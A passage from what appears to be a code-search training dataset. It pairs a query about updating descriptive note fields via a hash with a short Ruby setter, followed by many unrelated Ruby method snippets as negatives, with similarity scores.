\"\\n\"\n end\n str\n end", "def primary_terms\n [:title, :description, :creator, :source, :date_created, :date, :rights,\n :language, :identifier, :bibliographic_citation, :rights_holder,\n :coverage, :subject]\n end", "def fields; h.fields; end", "def details\n\n return @description + \": \" + \"#{@infection}\" + \". \" + @patient.details\n\n end", "def _notes\n @_notes ||= Hash.new do |h, k|\n h[k] = {}\n end\n end", "def details\n {\n patient_id: patient_id || '',\n lab_type: lab_type || '',\n lab_specimen_collection: specimen_collection || '',\n lab_report: report || '',\n lab_result: result || '',\n lab_created_at: created_at || '',\n lab_updated_at: updated_at || ''\n }\n end", "def hash\n [prefix, postfix, snippet_count, fragment_size, max_analyzed_chars, merge_contiguous, use_phrase_highlighter, fields].hash\n end", "def description\n @data['description']\n end", "def text\n #[@organism, @symbol, @description, @aka, @protnames, @summary,@comentaries.join(\". \")].join(\". \") \n [@symbol, @description, @aka, @protnames, @summary].flatten.join(\". \") \n end", "def details_data\n# column_widths = @settings.collect{|s| pdf.width_of(s[:header].last, :size => pdf.font_size) + 5 }\n\n font_size = pdf.font_size\n padding = (cell_padding + cell_border_width)*2\n @rows.collect do |r|\n @settings.collect{|s|\n content = \"\"\n align = :left\n contents = []\n \n if s[:header].first == \"remark\"\n content = r.remark.to_s\n contents += content.split(/\\r?\\n/)\n elsif s[:header].first == \"revision_no\"\n case r\n when HeaderRow\n content = r.latest_revision_no.to_s\n when RevisionRow\n content = r.rev_no.to_s\n when DetailRow\n content = r.revision_row.rev_no.to_s\n end\n contents << content\n else\n field = Field.field_by_row(s[:header].first, r)\n actual_row = Field.row_by_field(field, r)\n content = Field.value_by_field_name(field, actual_row) unless actual_row.nil?\n contents += content.to_s.split(/\\r?\\n/)\n\n case field\n when Fields::Formula, Fields::Accumulation\n align = :right\n else\n case field.custom_field\n when CustomFields::NumericField\n align = :right\n when CustomFields::DateTimeField\n align = :center\n end\n end\n end\n \n max_content_width = contents.collect{|c| pdf.width_of(c, :size => font_size) }.max\n\n width = max_content_width.to_i + padding\n \n {\n :content => content,\n :align => align,\n :width => width\n }\n }\n end\n end", "def summary_attributes\n @summary_attributes ||= {}\n end" ]
[ "0.6294499", "0.6227788", "0.6216737", "0.61570185", "0.61438", "0.6032089", "0.59499097", "0.59088653", "0.5904997", "0.5897702", "0.587941", "0.5843357", "0.58196956", "0.581921", "0.5804228", "0.57735866", "0.57711905", "0.57700074", "0.5764043", "0.5763801", "0.57572037", "0.5706489", "0.57050836", "0.56923646", "0.56773317", "0.5648818", "0.56356734", "0.56310934", "0.5604642", "0.55993026", "0.5593871", "0.5588706", "0.5587158", "0.55853134", "0.5577469", "0.5568225", "0.55662215", "0.5565241", "0.5563131", "0.55569816", "0.5547946", "0.5542934", "0.5542841", "0.5539434", "0.553247", "0.5520771", "0.5520261", "0.550763", "0.5507455", "0.5507455", "0.5504857", "0.5501371", "0.5501371", "0.5501371", "0.5501371", "0.5501371", "0.5499813", "0.5491015", "0.5485294", "0.54831165", "0.5479524", "0.5479524", "0.5478674", "0.5466498", "0.54616386", "0.54616386", "0.54616386", "0.546115", "0.5458787", "0.54570127", "0.54518497", "0.54506105", "0.54407537", "0.54407537", "0.54407537", "0.5435523", "0.5424992", "0.54243416", "0.54224", "0.5420692", "0.54199934", "0.54050016", "0.54050016", "0.53977287", "0.53977287", "0.53977287", "0.5389468", "0.53852004", "0.5382213", "0.53784853", "0.53772753", "0.5374433", "0.53605855", "0.5358122", "0.5358098", "0.5356509", "0.5354746", "0.5348409", "0.53475326", "0.5343714" ]
0.64422196
0
Update all the descriptive text fields via Hash. hash = name.all_notes hash[:look_alikes] = "new value" name.all_notes = hash
def all_notes=(notes) self.class.all_note_fields.each do |field| send("#{field}=", notes[field]) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def notes=(value)\n @notes = value\n end", "def notes=(value)\n @notes = value\n end", "def notes=(value)\n @notes = value\n end", "def notes=(value)\n @notes = value\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @notes = args[:notes] if args.key?(:notes)\n @quick_preview = args[:quick_preview] if args.key?(:quick_preview)\n end", "def notes=(notes)\n self.service.editObject({ \"notes\" => notes.to_s })\n self.refresh_details()\n end", "def update!(**args)\n @changed_text = args[:changed_text] if args.key?(:changed_text)\n @provenance = args[:provenance] if args.key?(:provenance)\n @text_anchor = args[:text_anchor] if args.key?(:text_anchor)\n end", "def update!(notes)\n fetch_notes\n show_notes\n push_notes(notes)\n end", "def update!(**args)\n @description_anchor_time_ms = args[:description_anchor_time_ms] if args.key?(:description_anchor_time_ms)\n @description_anchor_time_to_matched_time_ms = args[:description_anchor_time_to_matched_time_ms] if args.key?(:description_anchor_time_to_matched_time_ms)\n @edit_distance = args[:edit_distance] if args.key?(:edit_distance)\n @edit_distance_ratio = args[:edit_distance_ratio] if args.key?(:edit_distance_ratio)\n @matched_description_text = args[:matched_description_text] if args.key?(:matched_description_text)\n @matched_span_text = args[:matched_span_text] if args.key?(:matched_span_text)\n end", "def changing_alan\n\tprogrammer_hash = \n \t\t{\n :grace_hopper => {\n :known_for => \"COBOL\",\n :languages => [\"COBOL\", \"FORTRAN\"]\n },\n :alan_kay => {\n :known_for => \"Object Orientation\",\n :languages => [\"Smalltalk\", \"LISP\"]\n },\n :dennis_ritchie => {\n :known_for => \"Unix\",\n :languages => [\"C\"]\n }\n }\n #change what Alan Kay is :known_for to the value of the alans_new_info variable. \n alans_new_info = \"GUI\"\n programmer_hash[:alan_kay][:known_for] = alans_new_info\n \n # Return changed hash\n programmer_hash\nend", "def add_reader_to_my_notes(reader)\n self.update! my_notes: \"read by #{reader}#{self.my_notes}\"\n return self\n end", "def add_attribute_changed_notes\n if self.valid?\n # 'advance_charge_paid' attribute\n if self.advance_charge_paid_changed?\n charge_paid_note = self.advance_charge_paid? ?\n I18n.t(\"views.pickup_order.advance_charges_paid\").capitalize :\n I18n.t(\"views.pickup_order.advance_charges_not_paid\").capitalize\n self.add_note(Note::RECORD_UPDATE, NoteType::NOTE_TYPE_CODE_LOT, charge_paid_note, Employee.current, true)\n end\n\n # If any holds were added (pickup or sale holds), add the appropriate system note(s).\n if self.hold_for_pickup_changed? && !self.hold_for_pickup_change.any?(&:nil?)\n note_text =\n if self.hold_for_pickup?\n (I18n.t(\"controllers.vehicle.notes.pickup_hold_added_for\") +\n \" #{self.hold_for_pickup_date.strftime('%-d.%-m.%Y')}.<br/>\" +\n I18n.t(\"controllers.vehicle.notes.reason\") +\n \": #{self.hold_for_pickup_reason}\")\n else\n I18n.t(\"controllers.vehicle.notes.pickup_hold_removed\")\n end\n self.add_note(Note::RECORD_UPDATE, NoteType::NOTE_TYPE_CODE_LOT, note_text, Employee.current, true)\n end\n if self.hold_for_sale_changed? && !self.hold_for_sale_change.any?(&:nil?)\n note_text =\n if self.hold_for_sale?\n (I18n.t(\"controllers.vehicle.notes.sale_hold_added_for\") +\n \" #{self.sale_hold_action_date.strftime('%-d.%-m.%Y')}.<br/>\" +\n I18n.t(\"controllers.vehicle.notes.reason\") +\n \": #{self.sale_hold_comment}\")\n else\n I18n.t(\"controllers.vehicle.notes.sale_hold_removed\")\n end\n self.add_note(Note::RECORD_UPDATE, NoteType::NOTE_TYPE_CODE_LOT, note_text, Employee.current, true)\n end\n\n # If any holds (pickup or sale) are present and the hold date was changed, add a system note.\n if self.hold_for_pickup_date_changed? && !self.hold_for_pickup_date_change.any?(&:nil?)\n note_text =\n I18n.t(\"controllers.vehicle.notes.pickup_hold_date_changed\",\n original_date: self.hold_for_pickup_date_change[0].strftime(\"%-d.%-m.%Y\"),\n new_date: self.hold_for_pickup_date_change[1].strftime(\"%-d.%-m.%Y\"))\n self.add_note(Note::RECORD_UPDATE, NoteType::NOTE_TYPE_CODE_LOT, note_text, Employee.current, true)\n end\n if self.sale_hold_action_date_changed? && !self.sale_hold_action_date_change.any?(&:nil?)\n note_text =\n I18n.t(\"controllers.vehicle.notes.sale_hold_date_changed\",\n original_date: self.sale_hold_action_date_change[0].strftime(\"%-d.%-m.%Y\"),\n new_date: self.sale_hold_action_date_change[1].strftime(\"%-d.%-m.%Y\"))\n self.add_note(Note::RECORD_UPDATE, NoteType::NOTE_TYPE_CODE_LOT, note_text, Employee.current, true)\n end\n\n # Add a system note if the high bid amount has been changed.\n if self.high_bid_amount_changed?\n original_high_bid = (self.yard.present? && self.yard.facility.present? && self.yard.facility.address.present? && self.yard.facility.address.country.present?) ?\n number_to_currency(self.high_bid_amount_change[0] || 0.0, precision: 2, unit: self.yard.facility.address.country.currency) :\n number_to_currency(self.high_bid_amount_change[0] || 0.0, precision: 2)\n new_high_bid = (self.yard.present? && self.yard.facility.present? && self.yard.facility.address.present? && self.yard.facility.address.country.present?) ?\n number_to_currency(self.high_bid_amount_change[1] || 0.0, precision: 2, unit: self.yard.facility.address.country.currency) :\n number_to_currency(self.high_bid_amount_change[1] || 0.0, precision: 2)\n self.add_note(Note::RECORD_UPDATE, NoteType::NOTE_TYPE_CODE_LOT,\n I18n.t(\"controllers.vehicle.notes.high_bid_amount_changed\",\n original_high_bid: original_high_bid, new_high_bid: new_high_bid),\n Employee.current, true)\n end\n\n # Add a system note if the member has been changed.\n if self.member_id_changed?\n=begin\n original_member = Member.find_by_id(self.member_id_change[0])\n new_member = Member.find_by_id(self.member_id_change[1])\n if original_member.present? && new_member.present?\n note_text = I18n.t(\"controllers.vehicle.notes.member_changed\",\n original_member: \"<a href='#{member_path(original_member)}' target='_blank'>#{original_member.display_name} (##{original_member.member_uid})</a>\",\n new_member: \"<a href='#{member_path(new_member)}' target='_blank'>#{new_member.display_name} (##{new_member.member_uid})</a>\")\n self.add_note(Note::RECORD_UPDATE, NoteType::NOTE_TYPE_CODE_LOT, note_text, Employee.current, true)\n end\n=end\n end\n end\n end", "def update_answer_hash(standards = {}, text = '')\n h = {}\n h['standards'] = standards\n h['text'] = text\n self.text = h.to_json\n end", "def update!(**args)\n @alternative_name_info = args[:alternative_name_info] if args.key?(:alternative_name_info)\n @alternative_names = args[:alternative_names] if args.key?(:alternative_names)\n @annotation_source = args[:annotation_source] if args.key?(:annotation_source)\n @contact_data = args[:contact_data] if args.key?(:contact_data)\n @eval_data = args[:eval_data] if args.key?(:eval_data)\n @is_person_group_reference = args[:is_person_group_reference] if args.key?(:is_person_group_reference)\n @is_personal_contact = args[:is_personal_contact] if args.key?(:is_personal_contact)\n @name = args[:name] if args.key?(:name)\n @normalized_text = args[:normalized_text] if args.key?(:normalized_text)\n @pkg_semantics = args[:pkg_semantics] if args.key?(:pkg_semantics)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n end", "def update_attributes\n find_postlike.update_attributes(\n name: request_body[\"title\"],\n description: request_body[\"body\"],\n date: request_body[\"date\"],\n start_time: request_body[\"starts_at\"],\n end_time: request_body[\"ends_at\"],\n venue: request_body[\"venue\"],\n address: request_body[\"address\"],\n tag_list: request_body[\"tags\"])\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @guidelines = args[:guidelines] if args.key?(:guidelines)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @guidelines = args[:guidelines] if args.key?(:guidelines)\n end", "def update!(**args)\n @corrected = args[:corrected] if args.key?(:corrected)\n @corrected_text = args[:corrected_text] if args.key?(:corrected_text)\n end", "def update!(**args)\n @corrected = args[:corrected] if args.key?(:corrected)\n @corrected_text = args[:corrected_text] if args.key?(:corrected_text)\n end", "def updateNote(key,noteText)\n refreshToken\n path = \"/api/note?key=#{key}\\&auth=#{@token}\\&email=#{@email}&modify=#{ERB::Util.url_encode(Time.now.strftime(\"%Y-%m-%d %H:%M:%S\"))}\"\n data = noteText\n payload = Base64.encode64(data)\n response, data = agent.post(path,payload)\n\n unless response.code.to_i == 200\n raise \"Failed to update Note \\'#{key}\\'\"\n end\n return response.body\n end", "def update!(**args)\n @annotation_list = args[:annotation_list] if args.key?(:annotation_list)\n @eval_data = args[:eval_data] if args.key?(:eval_data)\n @is_annotated_from_text = args[:is_annotated_from_text] if args.key?(:is_annotated_from_text)\n @longtail_mood = args[:longtail_mood] if args.key?(:longtail_mood)\n @normalized_text = args[:normalized_text] if args.key?(:normalized_text)\n @qref = args[:qref] if args.key?(:qref)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n @special = args[:special] if args.key?(:special)\n end", "def scan_ses_notes(tags = {})\n @bestiary_image_offset = 0\n @bestiary_show = Hash.new(true)\n @bestiary_parameters = {}\n @bestiary_description = []\n @hidden_skills = SES::Bestiary::HiddenSkills.clone\n tags[/^<Bestiary X Offset:\\s*([\\-\\d]+)>/i] =\n proc do |offset|\n @bestiary_image_offset = offset.to_i\n end\n tags[/^<Bestiary Hide (Skills|Elements|States|Enemy)>/i] =\n proc do |type|\n @bestiary_show[type[0..2].downcase.to_sym] = false\n end\n tags[/^<Bestiary Hide Skill:\\s*((\\d+[,\\s]*)+)>/i] =\n proc do |skills|\n skills.gsub!(/(\\d+)/) do\n @hidden_skills << $1.to_i; ''\n end\n end\n tags[/^<(?:Bestiary Parameter|Bestiary Param) (\\w+):\\s*(.+)>/i] =\n proc do |param, value|\n @bestiary_parameters[param.downcase.to_sym] = value\n end\n tags[/^<Bestiary Hide All (?:Stats|Parameters|Params)>/i] =\n proc do\n [:mhp, :mmp, :atk, :def, :mat, :mdf, :agi, :luk].each do |param|\n @bestiary_parameters[param] = '???'\n end\n end\n tags[/^<Bestiary Description>/i] = proc do\n note[/<Bestiary Description>(.+)<\\/Bestiary Description>/im]\n @bestiary_description = $1 ? $1.split(/[\\r\\n]/) : []\n end\n en_be_e_ssn(tags)\n end", "def update!(**args)\n @accessibility_text = args[:accessibility_text] if args.key?(:accessibility_text)\n @image_uri = args[:image_uri] if args.key?(:image_uri)\n end", "def update!(**args)\n @accessibility_text = args[:accessibility_text] if args.key?(:accessibility_text)\n @image_uri = args[:image_uri] if args.key?(:image_uri)\n end", "def update_attributes\n find_postlike.update_attributes(\n title: request_body[\"title\"],\n description: request_body[\"body\"],\n price_in_cents: request_body[\"price\"]\n )\n end", "def update!(**args)\n @anchor_label = args[:anchor_label] if args.key?(:anchor_label)\n @break_label = args[:break_label] if args.key?(:break_label)\n @char_label = args[:char_label] if args.key?(:char_label)\n @language_label = args[:language_label] if args.key?(:language_label)\n @semantic_label = args[:semantic_label] if args.key?(:semantic_label)\n end", "def update!(**args)\n @glossary = args[:glossary] if args.key?(:glossary)\n @ignore_case = args[:ignore_case] if args.key?(:ignore_case)\n end", "def update!(**args)\n @annotation_list = args[:annotation_list] if args.key?(:annotation_list)\n @eval_data = args[:eval_data] if args.key?(:eval_data)\n @play_more = args[:play_more] if args.key?(:play_more)\n @qref = args[:qref] if args.key?(:qref)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n end", "def update_text( hash )\r\n call_function( 'UI.update_text', hash )\r\n end", "def notes=(val)\n @reason_structure[@num] = val.to_s\n end", "def update!(**args)\n @is_highlighted = args[:is_highlighted] if args.key?(:is_highlighted)\n @is_optional = args[:is_optional] if args.key?(:is_optional)\n @is_original = args[:is_original] if args.key?(:is_original)\n @items = args[:items] if args.key?(:items)\n @text = args[:text] if args.key?(:text)\n @weight = args[:weight] if args.key?(:weight)\n end", "def update!(**args)\n @edited_word = args[:edited_word] if args.key?(:edited_word)\n @probability = args[:probability] if args.key?(:probability)\n end", "def set_Note(value)\n set_input(\"Note\", value)\n end", "def update!(**args)\n @anchor_text = args[:anchor_text] if args.key?(:anchor_text)\n @navboost_text = args[:navboost_text] if args.key?(:navboost_text)\n @source = args[:source] if args.key?(:source)\n end", "def notes; end", "def notes; end", "def notes; end", "def update!(**args)\n @is_important = args[:is_important] if args.key?(:is_important)\n @key = args[:key] if args.key?(:key)\n @name = args[:name] if args.key?(:name)\n end", "def update!(**args)\n @corrected_key_text = args[:corrected_key_text] if args.key?(:corrected_key_text)\n @corrected_value_text = args[:corrected_value_text] if args.key?(:corrected_value_text)\n @field_name = args[:field_name] if args.key?(:field_name)\n @field_value = args[:field_value] if args.key?(:field_value)\n @name_detected_languages = args[:name_detected_languages] if args.key?(:name_detected_languages)\n @provenance = args[:provenance] if args.key?(:provenance)\n @value_detected_languages = args[:value_detected_languages] if args.key?(:value_detected_languages)\n @value_type = args[:value_type] if args.key?(:value_type)\n end", "def update_reasons(hash)\n reasons_array.each do |reason|\n if hash.key?(reason.num)\n reason.notes = hash[reason.num].to_s\n else\n reason.delete\n end\n end\n end", "def note label\n #foottext = \"rdoc-label:foottext-#{label}:footmark-#{label}\"\n\n #ref.replace foottext if ref = @unlinked_notes.delete(label)\n\n @notes[label] = foottext\n\n #\"{^1}[rdoc-label:footmark-#{label}:foottext-#{label}] \"\n end", "def add_fandoms_to_notes(fandoms)\n self.update! notes: \"#{add_fandoms(fandoms)}#{self.notes}\"\n return self\n end", "def update!(**args)\n @abstract_display = args[:abstract_display] if args.key?(:abstract_display)\n @abstract_html = args[:abstract_html] if args.key?(:abstract_html)\n @abstract_html_left_over = args[:abstract_html_left_over] if args.key?(:abstract_html_left_over)\n @abstract_language = args[:abstract_language] if args.key?(:abstract_language)\n @abstract_text = args[:abstract_text] if args.key?(:abstract_text)\n @abstract_type_from_source = args[:abstract_type_from_source] if args.key?(:abstract_type_from_source)\n end", "def update!(**args)\n @bold = args[:bold] if args.key?(:bold)\n @highlight = args[:highlight] if args.key?(:highlight)\n @italics = args[:italics] if args.key?(:italics)\n @strikethrough = args[:strikethrough] if args.key?(:strikethrough)\n @style = args[:style] if args.key?(:style)\n @underline = args[:underline] if args.key?(:underline)\n end", "def update!(**args)\n @bold = args[:bold] if args.key?(:bold)\n @highlight = args[:highlight] if args.key?(:highlight)\n @italics = args[:italics] if args.key?(:italics)\n @strikethrough = args[:strikethrough] if args.key?(:strikethrough)\n @style = args[:style] if args.key?(:style)\n @underline = args[:underline] if args.key?(:underline)\n end", "def notes_attributes=(notes)\n notes.each do |note|\n song_note = self.notes.build(content: note)\n song_note.save\n end\n end", "def update!(**args)\n @clean_text = args[:clean_text] if args.key?(:clean_text)\n @info_string = args[:info_string] if args.key?(:info_string)\n @snippet = args[:snippet] if args.key?(:snippet)\n @text = args[:text] if args.key?(:text)\n end", "def update!(**args)\n @headline = args[:headline] if args.key?(:headline)\n @image = args[:image] if args.key?(:image)\n @text = args[:text] if args.key?(:text)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @review = args[:review] if args.key?(:review)\n end", "def update!(**args)\n @explanation = args[:explanation] if args.key?(:explanation)\n @explanation_type = args[:explanation_type] if args.key?(:explanation_type)\n end", "def update\n raise \"あなたのノートではありません。\" unless @note.user_notes[0].user_id == current_user.id\n note_attr = note_params\n tag_names = note_params[:tag].split(\" \")\n note_attr[:tag] = tag_names\n\n ActiveRecord::Base.transaction do\n Tag.add_count(tag_names, @note.tag)\n raise \"ノートの更新ができませんでした。\" unless @note.update_attributes(note_attr)\n end\n\n respond_to do |format|\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n end\n rescue => e\n respond_to do |format|\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n end", "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @phrase_matcher = args[:phrase_matcher] if args.key?(:phrase_matcher)\n end", "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @phrase_matcher = args[:phrase_matcher] if args.key?(:phrase_matcher)\n end", "def notes=(v)\n Axlsx.validate_int v\n @notes = v\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n @user_owned_drydock_note = args[:user_owned_drydock_note] if args.key?(:user_owned_drydock_note)\n end", "def update!(**args)\n @answer_record = args[:answer_record] if args.key?(:answer_record)\n @confidence = args[:confidence] if args.key?(:confidence)\n @conversation_model = args[:conversation_model] if args.key?(:conversation_model)\n @metadata = args[:metadata] if args.key?(:metadata)\n @text = args[:text] if args.key?(:text)\n @text_sections = args[:text_sections] if args.key?(:text_sections)\n end", "def update!(**args)\n @answer_record = args[:answer_record] if args.key?(:answer_record)\n @confidence = args[:confidence] if args.key?(:confidence)\n @conversation_model = args[:conversation_model] if args.key?(:conversation_model)\n @metadata = args[:metadata] if args.key?(:metadata)\n @text = args[:text] if args.key?(:text)\n @text_sections = args[:text_sections] if args.key?(:text_sections)\n end", "def update_or_add_value(value_name, text, append: true, hide: false, heading: nil)\n start_mark = \"<!--#{value_name}-->\"\n end_mark = \"<!--end-#{value_name}-->\"\n\n if issue_body_has?(value_name)\n update_body(start_mark, end_mark, text)\n else\n if hide\n value_heading = \"\"\n elsif heading.nil?\n value_heading = \"**#{value_name.capitalize.gsub(/[_-]/, \" \")}:** \"\n else\n value_heading = \"**#{heading}:** \"\n end\n\n if append\n append_to_body \"\\n#{value_heading}#{start_mark}#{text}#{end_mark}\"\n else\n prepend_to_body \"#{value_heading}#{start_mark}#{text}#{end_mark}\\n\"\n end\n end\n end", "def update!(**args)\n @annotation_list = args[:annotation_list] if args.key?(:annotation_list)\n @eval_data = args[:eval_data] if args.key?(:eval_data)\n @favorite = args[:favorite] if args.key?(:favorite)\n @frequency = args[:frequency] if args.key?(:frequency)\n @is_annotated_from_text = args[:is_annotated_from_text] if args.key?(:is_annotated_from_text)\n @is_from_fast_path = args[:is_from_fast_path] if args.key?(:is_from_fast_path)\n @qref = args[:qref] if args.key?(:qref)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n end", "def _notes\n @_notes ||= Hash.new do |h, k|\n h[k] = {}\n end\n end", "def important\n # @note = Note.find_by_id(params[:id])\n @note.update(important: true)\n redirect_to notes_path\n end", "def update!(**args)\n @hypothesis_text = args[:hypothesis_text] if args.key?(:hypothesis_text)\n @hypothesis_text_time = args[:hypothesis_text_time] if args.key?(:hypothesis_text_time)\n @reference_text = args[:reference_text] if args.key?(:reference_text)\n @scoring_method_name = args[:scoring_method_name] if args.key?(:scoring_method_name)\n @similarity_score = args[:similarity_score] if args.key?(:similarity_score)\n @token_match_count = args[:token_match_count] if args.key?(:token_match_count)\n @token_match_percent = args[:token_match_percent] if args.key?(:token_match_percent)\n @word_alignment = args[:word_alignment] if args.key?(:word_alignment)\n end", "def update!(**args)\n @asr_caption = args[:asr_caption] if args.key?(:asr_caption)\n @saft_document = args[:saft_document] if args.key?(:saft_document)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @key = args[:key] if args.key?(:key)\n end", "def update!(**args)\n @info = args[:info] if args.key?(:info)\n @phrase = args[:phrase] if args.key?(:phrase)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @last_name = args[:last_name] if args.key?(:last_name)\n @other_names = args[:other_names] if args.key?(:other_names)\n end", "def update!(**args)\n @anchor_count = args[:anchor_count] if args.key?(:anchor_count)\n @caption_info = args[:caption_info] if args.key?(:caption_info)\n @label_phrase_embedding_model = args[:label_phrase_embedding_model] if args.key?(:label_phrase_embedding_model)\n @unified_scoring_bert_models = args[:unified_scoring_bert_models] if args.key?(:unified_scoring_bert_models)\n end", "def update(text); end", "def set_note(field_name, field_value)\n\t\tnote = raw_notes.select{ |n| n.field_name == field_name.to_s }.first\n\n\t\tif note.nil?\n\t\t\tadd_note field_name, field_value\n\t\telsif field_value.nil?\n\t\t\tnote.destroy\n\t\telse\n\t\t\tnote.field_value = field_value\n\t\t\tnote.save_changes\n\t\tend\n\tend", "def new_notes=(note)\n\t\tif !note.blank? then\n\t\t\ttime = Time.now.strftime(\"%m-%d-%y %I:%M %p\")\n\t\t\tnew_note = \"<p>#{note}<br/>\"\n\t\t\tnew_note << \"<span class=\\\"info\\\">\"\n\t\t\tnew_note << \"[#{time}]\"\n\t\t\tnew_note << \"</span></p>\"\n\t\t\tif self.notes.blank? then\n\t\t\t\tself.notes = new_note\n\t\t\telse\n\t\t\t\tself.notes << new_note\n\t\t\tend\n\t\tend\n\tend", "def change_info(n, h, w) #these three arguments correspond to the new name height and weight respectively\n @name = n\n @height = h\n @weight = w\nend", "def update!(**args)\n @caption = args[:caption] if args.key?(:caption)\n @reference = args[:reference] if args.key?(:reference)\n @title = args[:title] if args.key?(:title)\n @type = args[:type] if args.key?(:type)\n end", "def append_note new_notes\n # If I don't include hours it gets reset.\n # This doens't appear to be the case for task and project.\n (self.notes << \"\\n#{new_notes}\").lstrip!\n DayEntry.post \"daily/update/#{id}\",\n %{<request><notes>#{notes}</notes><hours>#{hours}</hours></request>}\n end", "def update!(**args)\n @caption = args[:caption] if args.key?(:caption)\n @description = args[:description] if args.key?(:description)\n @hot_fix_id = args[:hot_fix_id] if args.key?(:hot_fix_id)\n @install_time = args[:install_time] if args.key?(:install_time)\n end", "def update!(**args)\n @mention = args[:mention] if args.key?(:mention)\n @text = args[:text] if args.key?(:text)\n @weight = args[:weight] if args.key?(:weight)\n end", "def update!(**args)\n @attentional_entity_key = args[:attentional_entity_key] if args.key?(:attentional_entity_key)\n @mention_properties = args[:mention_properties] if args.key?(:mention_properties)\n end", "def update!(**args)\n @abbreviated_heading_text = args[:abbreviated_heading_text] if args.key?(:abbreviated_heading_text)\n @abbrv_embedding = args[:abbrv_embedding] if args.key?(:abbrv_embedding)\n @heading_embedding = args[:heading_embedding] if args.key?(:heading_embedding)\n @normalized_heading_text = args[:normalized_heading_text] if args.key?(:normalized_heading_text)\n @passage_embedding = args[:passage_embedding] if args.key?(:passage_embedding)\n @passage_text = args[:passage_text] if args.key?(:passage_text)\n end", "def update!(**args)\n @appeal_explanation = args[:appeal_explanation] if args.key?(:appeal_explanation)\n @dispute_notes = args[:dispute_notes] if args.key?(:dispute_notes)\n @dispute_reason = args[:dispute_reason] if args.key?(:dispute_reason)\n @update_status = args[:update_status] if args.key?(:update_status)\n end", "def set_note\n @note = Note.find(params[:id])\n @description = @note.overview\n end", "def update!(**args)\n @annotation_list = args[:annotation_list] if args.key?(:annotation_list)\n @eval_data = args[:eval_data] if args.key?(:eval_data)\n @new_music = args[:new_music] if args.key?(:new_music)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n @type = args[:type] if args.key?(:type)\n end", "def test_update_name_merge_no_notes_into_description_notes\n old_name = names(:mergeable_no_notes)\n new_name = names(:mergeable_description_notes)\n notes = new_name.description.notes\n params = {\n id: old_name.id,\n name: {\n text_name: new_name.text_name,\n author: new_name.author,\n rank: new_name.rank,\n citation: \"\",\n deprecated: (old_name.deprecated ? \"true\" : \"false\")\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(new_name.id))\n assert_no_emails\n assert(new_name.reload)\n assert_not(Name.exists?(old_name.id))\n assert_equal(notes, new_name.description.notes)\n end", "def update!(**args)\n @badge_config = args[:badge_config] if args.key?(:badge_config)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @insert_before_choice = args[:insert_before_choice] if args.key?(:insert_before_choice)\n end", "def update_qa_status(addressed, note, account_id, doc_id)\n if addressed && !qa_approved_by\n #If approved and we haven't stored approved by, store it\n self.update_attributes({:qa_approved_by => account_id})\n elsif !addressed && qa_approved_by\n #If for some reason approval is revoked, remove id ref\n self.update_attributes({:qa_approved_by => nil})\n end\n\n #Add/update note if passed\n if note\n if !annotation_note.nil?\n #If exists and text has changed, update\n annotation_note.update_attributes({:note => note}) if annotation_note.note != note\n else\n #If not, add\n AnnotationNote.create({\n :document_id => doc_id,\n :annotation_group_id => self.id,\n :note => note,\n :addressed => false,\n :iteration => self.iteration\n })\n end\n else\n #If note exists, destroy it\n annotation_note.destroy if !annotation_note.nil?\n end\n\n end", "def notes_from_training\n end", "def set_Note(value)\n set_input(\"Note\", value)\n end", "def update!(**args)\n @annotation_list = args[:annotation_list] if args.key?(:annotation_list)\n @eval_data = args[:eval_data] if args.key?(:eval_data)\n @qref = args[:qref] if args.key?(:qref)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n end", "def update!(**args)\n @answer_doc_matches = args[:answer_doc_matches] if args.key?(:answer_doc_matches)\n @chosen_body_tidbits = args[:chosen_body_tidbits] if args.key?(:chosen_body_tidbits)\n @doc_info = args[:doc_info] if args.key?(:doc_info)\n @doc_preview_restrictions = args[:doc_preview_restrictions] if args.key?(:doc_preview_restrictions)\n @doc_preview_restrictions_for_amp = args[:doc_preview_restrictions_for_amp] if args.key?(:doc_preview_restrictions_for_amp)\n @events = args[:events] if args.key?(:events)\n @extra_info = args[:extra_info] if args.key?(:extra_info)\n @findy_tidbits = args[:findy_tidbits] if args.key?(:findy_tidbits)\n @has_message_type = args[:has_message_type] if args.key?(:has_message_type)\n @info = args[:info] if args.key?(:info)\n @is_login_page = args[:is_login_page] if args.key?(:is_login_page)\n @is_valid_result = args[:is_valid_result] if args.key?(:is_valid_result)\n @keyword = args[:keyword] if args.key?(:keyword)\n @list_snippet = args[:list_snippet] if args.key?(:list_snippet)\n @list_summary = args[:list_summary] if args.key?(:list_summary)\n @long_structured_snippet = args[:long_structured_snippet] if args.key?(:long_structured_snippet)\n @matches_bitmap_encoded = args[:matches_bitmap_encoded] if args.key?(:matches_bitmap_encoded)\n @matches_bitmap_size = args[:matches_bitmap_size] if args.key?(:matches_bitmap_size)\n @meta_tags = args[:meta_tags] if args.key?(:meta_tags)\n @num_tokens_skipped_by_in_doc_restrictions_in_printing = 